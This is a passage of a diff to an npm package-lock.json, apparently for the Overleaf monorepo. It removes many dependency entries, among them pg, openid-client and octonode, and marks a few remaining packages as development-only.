+- }, + "node_modules/node-fetch": { + "version": "2.6.7", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz", +@@ -22472,84 +18481,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/object-copy": { +- "version": "0.1.0", +- "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", +- "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", +- "dependencies": { +- "copy-descriptor": "^0.1.0", +- "define-property": "^0.2.5", +- "kind-of": "^3.0.3" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/object-copy/node_modules/define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "dependencies": { +- "is-descriptor": "^0.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/object-copy/node_modules/is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/object-copy/node_modules/is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/object-copy/node_modules/is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "dependencies": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/object-copy/node_modules/is-descriptor/node_modules/kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/object-copy/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/object-get": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/object-get/-/object-get-2.1.1.tgz", +@@ -22605,17 +18536,6 @@ + "node": ">=8.0.0" + } + }, +- "node_modules/object-visit": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", +- "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", +- "dependencies": { +- "isobject": "^3.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", +@@ -22633,20 +18553,6 @@ + "url": "https://github.com/sponsors/ljharb" + } + }, +- "node_modules/object.defaults": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz", +- "integrity": "sha1-On+GgzS0B96gbaFtiNXNKeQ1/s8=", +- "dependencies": { +- "array-each": "^1.0.1", +- "array-slice": "^1.0.0", +- "for-own": "^1.0.0", +- "isobject": "^3.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/object.entries": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz", +@@ -22707,22 +18613,11 @@ + "url": "https://github.com/sponsors/ljharb" + } + }, +- "node_modules/object.map": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz", +- "integrity": "sha1-z4Plncj8wK1fQlDh94s7gb2AHTc=", +- "dependencies": { +- "for-own": "^1.0.0", +- "make-iterator": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", + "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", ++ "dev": true, + "dependencies": { + "isobject": "^3.0.1" + }, +@@ -22753,28 +18648,6 @@ + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "devOptional": true + }, +- "node_modules/octonode": { +- "version": "0.9.5", +- "resolved": "https://registry.npmjs.org/octonode/-/octonode-0.9.5.tgz", +- "integrity": "sha512-l+aX9jNVkaagh7u/q2QpNKdL8XUagdztl+ebXxBRU6FJ1tpRxAH/ygIuWh0h7eS491BsyH6bb0QZIQEC2+u5oA==", +- "dependencies": { +- "bluebird": "^3.5.0", +- "deep-extend": "^0.6.0", +- "randomstring": "^1.1.5", +- "request": "^2.72.0" +- }, +- "engines": { +- "node": ">0.4.11" +- } +- }, +- "node_modules/oidc-token-hash": { +- "version": "5.0.1", +- "resolved": "https://registry.npmjs.org/oidc-token-hash/-/oidc-token-hash-5.0.1.tgz", +- "integrity": "sha512-EvoOtz6FIEBzE+9q253HsLCVRiK/0doEJ2HCvvqMQb3dHZrP3WlJKYtJ55CRTw4jmYomzH4wkPuCj/I3ZvpKxQ==", +- "engines": { +- "node": "^10.13.0 || >=12.0.0" +- } +- }, + "node_modules/on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", +@@ -22833,58 +18706,6 @@ + "url": "https://github.com/sponsors/sindresorhus" + } + }, +- "node_modules/openid-client": { +- "version": "3.15.10", +- "resolved": "https://registry.npmjs.org/openid-client/-/openid-client-3.15.10.tgz", +- "integrity": "sha512-C9r6/iVzNQ7aGp0krS5mFIY5nY8AH6ajYCH0Njns6AXy2fM3Khw/dY97QlaFJWW2QLhec6xfEk23LZw9EeX66Q==", +- "dependencies": { +- "@types/got": "^9.6.9", +- "base64url": "^3.0.1", +- "got": "^9.6.0", +- "jose": "^1.27.1", +- "lru-cache": "^6.0.0", +- "make-error": "^1.3.6", +- "object-hash": "^2.0.1", +- "oidc-token-hash": "^5.0.0", +- "p-any": "^3.0.0" +- }, +- "engines": { +- "node": "^10.13.0 || >=12.0.0" +- }, +- "funding": { +- "url": "https://github.com/sponsors/panva" +- } +- }, +- "node_modules/openid-client/node_modules/jose": { +- "version": "1.28.1", +- "resolved": "https://registry.npmjs.org/jose/-/jose-1.28.1.tgz", +- "integrity": "sha512-6JK28rFu5ENp/yxMwM+iN7YeaInnY9B9Bggjkz5fuwLiJhbVrl2O4SJr65bdNBPl9y27fdC3Mymh+FVCvozLIg==", +- "dependencies": { +- "@panva/asn1.js": "^1.0.0" +- }, +- "engines": { +- "node": ">=10.13.0" +- }, +- "funding": { +- "url": "https://github.com/sponsors/panva" +- } +- }, +- "node_modules/openid-client/node_modules/lru-cache": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", +- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", +- "dependencies": { +- "yallist": "^4.0.0" +- }, +- "engines": { +- "node": ">=10" +- } +- }, +- "node_modules/openid-client/node_modules/yallist": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", +- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" +- }, + "node_modules/optional-require": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.1.8.tgz", +@@ -23018,59 +18839,6 @@ + "@otplib/preset-v11": "^12.0.1" + } + }, +- "node_modules/overleaf-editor": { +- "resolved": "services/history-v1", +- "link": true +- }, +- "node_modules/overleaf-editor-core": { +- "resolved": "libraries/overleaf-editor-core", +- "link": true +- }, +- "node_modules/p-any": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/p-any/-/p-any-3.0.0.tgz", +- "integrity": "sha512-5rqbqfsRWNb0sukt0awwgJMlaep+8jV45S15SKKB34z4UuzjcofIfnriCBhWjZP2jbVtjt9yRl7buB6RlKsu9w==", +- "dependencies": { +- "p-cancelable": "^2.0.0", +- "p-some": "^5.0.0" +- }, +- "engines": { +- "node": ">=10" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "node_modules/p-any/node_modules/p-cancelable": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", +- "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", +- "engines": { +- "node": ">=8" +- } +- }, +- "node_modules/p-cancelable": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", +- "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==", +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/p-event": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz", +- "integrity": "sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==", +- "dependencies": { +- "p-timeout": "^3.1.0" +- }, +- "engines": { +- "node": ">=8" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", +@@ -23148,29 +18916,6 @@ + "node": ">=8" + } + }, +- "node_modules/p-some": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/p-some/-/p-some-5.0.0.tgz", +- "integrity": "sha512-Js5XZxo6vHjB9NOYAzWDYAIyyiPvva0DWESAIWIK7uhSpGsyg5FwUPxipU/SOQx5x9EqhOh545d1jo6cVkitig==", +- "dependencies": { +- "aggregate-error": "^3.0.0", +- "p-cancelable": "^2.0.0" +- }, +- "engines": { +- "node": ">=10" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "node_modules/p-some/node_modules/p-cancelable": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", +- "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", +- "engines": { +- "node": ">=8" +- } +- }, + "node_modules/p-throttle": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/p-throttle/-/p-throttle-4.1.1.tgz", +@@ -23216,11 +18961,6 @@ + "node": ">=8" + } + }, +- "node_modules/packet-reader": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/packet-reader/-/packet-reader-1.0.0.tgz", +- "integrity": "sha512-HAKu/fG3HpHFO0AA8WE8q2g+gBJaZ9MG7fcKk+IJPLTGAD6Psw4443l+9DGRbOIh3/aXr7Phy0TjilYivJo5XQ==" +- }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", +@@ -23259,19 +18999,6 @@ + "resolved": "https://registry.npmjs.org/parse-duration/-/parse-duration-1.0.2.tgz", + "integrity": "sha512-Dg27N6mfok+ow1a2rj/nRjtCfaKrHUZV2SJpEn/s8GaVUSlf4GGRCRP1c13Hj+wfPKVMrFDqLMLITkYKgKxyyg==" + }, +- "node_modules/parse-filepath": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz", +- "integrity": "sha1-pjISf1Oq89FYdvWHLz/6x2PWyJE=", +- "dependencies": { +- "is-absolute": "^1.0.0", +- "map-cache": "^0.2.0", +- "path-root": "^0.1.1" +- }, +- "engines": { +- "node": ">=0.8" +- } +- }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", +@@ -23298,14 +19025,6 @@ + "node": ">=6" + } + }, +- "node_modules/parse-passwd": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz", +- "integrity": "sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/parse-srcset": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/parse-srcset/-/parse-srcset-1.0.2.tgz", +@@ -23344,14 +19063,6 @@ + "tslib": "^2.0.3" + } + }, +- "node_modules/pascalcase": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", +- "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/passport": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/passport/-/passport-0.4.1.tgz", +@@ -23671,39 +19382,11 @@ + "node": ">=8" + } + }, +- "node_modules/path-loader": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/path-loader/-/path-loader-1.0.10.tgz", +- "integrity": "sha512-CMP0v6S6z8PHeJ6NFVyVJm6WyJjIwFvyz2b0n2/4bKdS/0uZa/9sKUlYZzubrn3zuDRU0zIuEDX9DZYQ2ZI8TA==", +- "dependencies": { +- "native-promise-only": "^0.8.1", +- "superagent": "^3.8.3" +- } +- }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, +- "node_modules/path-root": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz", +- "integrity": "sha1-mkpoFMrBwM1zNgqV8yCDyOpHRbc=", +- "dependencies": { +- "path-root-regex": "^0.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/path-root-regex": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz", +- "integrity": "sha1-v8zcjfWxLcUsi0PsONGNcsBLqW0=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", +@@ -23768,85 +19451,6 @@ + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, +- "node_modules/pg": { +- "version": "8.7.1", +- "resolved": "https://registry.npmjs.org/pg/-/pg-8.7.1.tgz", +- "integrity": "sha512-7bdYcv7V6U3KAtWjpQJJBww0UEsWuh4yQ/EjNf2HeO/NnvKjpvhEIe/A/TleP6wtmSKnUnghs5A9jUoK6iDdkA==", +- "dependencies": { +- "buffer-writer": "2.0.0", +- "packet-reader": "1.0.0", +- "pg-connection-string": "^2.5.0", +- "pg-pool": "^3.4.1", +- "pg-protocol": "^1.5.0", +- "pg-types": "^2.1.0", +- "pgpass": "1.x" +- }, +- "engines": { +- "node": ">= 8.0.0" +- }, +- "peerDependencies": { +- "pg-native": ">=2.0.0" +- }, +- "peerDependenciesMeta": { +- "pg-native": { +- "optional": true +- } +- } +- }, +- "node_modules/pg-connection-string": { +- "version": "2.5.0", +- "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.5.0.tgz", +- "integrity": "sha512-r5o/V/ORTA6TmUnyWZR9nCj1klXCO2CEKNRlVuJptZe85QuhFayC7WeMic7ndayT5IRIR0S0xFxFi2ousartlQ==" +- }, +- "node_modules/pg-copy-streams": { +- "version": "2.2.2", +- "resolved": "https://registry.npmjs.org/pg-copy-streams/-/pg-copy-streams-2.2.2.tgz", +- "integrity": "sha512-mjSqs6hrsRhBojCuY2hxyg48B+3th5ARBjMxBCEisIqBvdRD0g5ETdbts20TzrOfha8ueJQOmQCJCprtczJtGQ==" +- }, +- "node_modules/pg-int8": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz", +- "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==", +- "engines": { +- "node": ">=4.0.0" +- } +- }, +- "node_modules/pg-pool": { +- "version": "3.4.1", +- "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.4.1.tgz", +- "integrity": "sha512-TVHxR/gf3MeJRvchgNHxsYsTCHQ+4wm3VIHSS19z8NC0+gioEhq1okDY1sm/TYbfoP6JLFx01s0ShvZ3puP/iQ==", +- "peerDependencies": { +- "pg": ">=8.0" +- } +- }, +- "node_modules/pg-protocol": { +- "version": "1.5.0", +- "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.5.0.tgz", +- "integrity": "sha512-muRttij7H8TqRNu/DxrAJQITO4Ac7RmX3Klyr/9mJEOBeIpgnF8f9jAfRz5d3XwQZl5qBjF9gLsUtMPJE0vezQ==" +- }, +- "node_modules/pg-types": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz", +- "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==", +- "dependencies": { +- "pg-int8": "1.0.1", +- "postgres-array": "~2.0.0", +- "postgres-bytea": "~1.0.0", +- "postgres-date": "~1.0.4", +- "postgres-interval": "^1.1.0" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/pgpass": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz", +- "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==", +- "dependencies": { +- "split2": "^4.1.0" +- } +- }, + "node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", +@@ -24085,14 +19689,6 @@ + "mkdirp": "bin/cmd.js" + } + }, +- "node_modules/posix-character-classes": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", +- "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/postcss": { + "version": "7.0.39", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz", +@@ -24136,41 +19732,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/postgres-array": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", +- "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==", +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/postgres-bytea": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.0.tgz", +- "integrity": "sha1-AntTPAqokOJtFy1Hz5zOzFIazTU=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/postgres-date": { +- "version": "1.0.7", +- "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz", +- "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/postgres-interval": { +- "version": "1.2.0", +- "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz", +- "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==", +- "dependencies": { +- "xtend": "^4.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/pprof": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/pprof/-/pprof-3.2.0.tgz", +@@ -24409,14 +19970,6 @@ + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-2.11.0.tgz", + "integrity": "sha1-U0uQM8AiyVecVro7Plpcqvu2UOE=" + }, +- "node_modules/promptly": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/promptly/-/promptly-3.2.0.tgz", +- "integrity": "sha512-WnR9obtgW+rG4oUV3hSnNGl1pHm3V1H/qD9iJBumGSmVsSC5HpZOLuu8qdMb6yCItGfT7dcRszejr/5P3i9Pug==", +- "dependencies": { +- "read": "^1.0.4" +- } +- }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", +@@ -24471,12 +20024,6 @@ + "resolved": "https://registry.npmjs.org/property-expr/-/property-expr-2.0.5.tgz", + "integrity": "sha512-IJUkICM5dP5znhCckHSv30Q4b5/JA5enCtkRHYaOVOAocnH/1BQEYTC5NMfT3AVl/iXKdr3aqQbQn9DxyWknwA==" + }, +- "node_modules/proto-list": { +- "version": "1.2.4", +- "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", +- "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=", +- "dev": true +- }, + "node_modules/proto3-json-serializer": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/proto3-json-serializer/-/proto3-json-serializer-0.1.8.tgz", +@@ -24535,11 +20082,6 @@ + "dev": true, + "optional": true + }, +- "node_modules/pseudomap": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", +- "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=" +- }, + "node_modules/psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", +@@ -24927,14 +20469,6 @@ + } + ] + }, +- "node_modules/quick-lru": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-1.1.0.tgz", +- "integrity": "sha1-Q2CxfGETatOAeDl/8RQW4Ybc+7g=", +- "engines": { +- "node": ">=4" +- } +- }, + "node_modules/ramda": { + "version": "0.28.0", + "resolved": "https://registry.npmjs.org/ramda/-/ramda-0.28.0.tgz", +@@ -24976,34 +20510,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/randombytes": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.3.tgz", +- "integrity": "sha1-Z0yZdgkBw8QRJ3GjHlIdw0nMCew=" +- }, +- "node_modules/randomstring": { +- "version": "1.2.2", +- "resolved": "https://registry.npmjs.org/randomstring/-/randomstring-1.2.2.tgz", +- "integrity": "sha512-9FByiB8guWZLbE+akdQiWE3I1I6w7Vn5El4o4y7o5bWQ6DWPcEOp+aLG7Jezc8BVRKKpgJd2ppRX0jnKu1YCfg==", +- "dependencies": { +- "array-uniq": "1.0.2", +- "randombytes": "2.0.3" +- }, +- "bin": { +- "randomstring": "bin/randomstring" +- }, +- "engines": { +- "node": "*" +- } +- }, +- "node_modules/randomstring/node_modules/array-uniq": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.2.tgz", +- "integrity": "sha1-X8w3OSB3VyPP1k1lxkvvU7+eum0=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", +@@ -25286,17 +20792,6 @@ + "uuid": "dist/bin/uuid" + } + }, +- "node_modules/read": { +- "version": "1.0.7", +- "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", +- "integrity": "sha1-s9oZvQUkMal2cdRKQmNK33ELQMQ=", +- "dependencies": { +- "mute-stream": "~0.0.4" +- }, +- "engines": { +- "node": ">=0.8" +- } +- }, + "node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", +@@ -25330,17 +20825,6 @@ + "node": ">=8.10.0" + } + }, +- "node_modules/rechoir": { +- "version": "0.6.2", +- "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", +- "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=", +- "dependencies": { +- "resolve": "^1.1.6" +- }, +- "engines": { +- "node": ">= 0.10" +- } +- }, + "node_modules/recurly": { + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/recurly/-/recurly-4.12.0.tgz", +@@ -25364,12 +20848,6 @@ + "node": ">=4" + } + }, +- "node_modules/redis-mock": { +- "version": "0.49.0", +- "resolved": "https://registry.npmjs.org/redis-mock/-/redis-mock-0.49.0.tgz", +- "integrity": "sha512-FW/cLZvF1PAVN/PYIwXf1vQRoJCyYCwUMtq8BXRwrvb9LNNAT4RKXM02Qlt6qSkC/98hmHlU2EGoQoxVy3E2lA==", +- "dev": true +- }, + "node_modules/redis-parser": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redis-parser/-/redis-parser-3.0.0.tgz", +@@ -25381,17 +20859,6 @@ + "node": ">=4" + } + }, +- "node_modules/redlock": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/redlock/-/redlock-4.2.0.tgz", +- "integrity": "sha512-j+oQlG+dOwcetUt2WJWttu4CZVeRzUrcVcISFmEmfyuwCVSJ93rDT7YSgg7H7rnxwoRyk/jU46kycVka5tW7jA==", +- "dependencies": { +- "bluebird": "^3.7.2" +- }, +- "engines": { +- "node": ">=8.0.0" +- } +- }, + "node_modules/reduce": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/reduce/-/reduce-1.0.2.tgz", +@@ -25586,41 +21053,6 @@ + "@babel/runtime": "^7.8.4" + } + }, +- "node_modules/regex-not": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", +- "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", +- "dependencies": { +- "extend-shallow": "^3.0.2", +- "safe-regex": "^1.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/regex-not/node_modules/extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "dependencies": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/regex-not/node_modules/is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "dependencies": { +- "is-plain-object": "^2.0.4" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/regexp-clone": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/regexp-clone/-/regexp-clone-1.0.0.tgz", +@@ -25835,6 +21267,7 @@ + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz", + "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==", ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -25843,6 +21276,7 @@ + "version": "1.6.1", + "resolved": 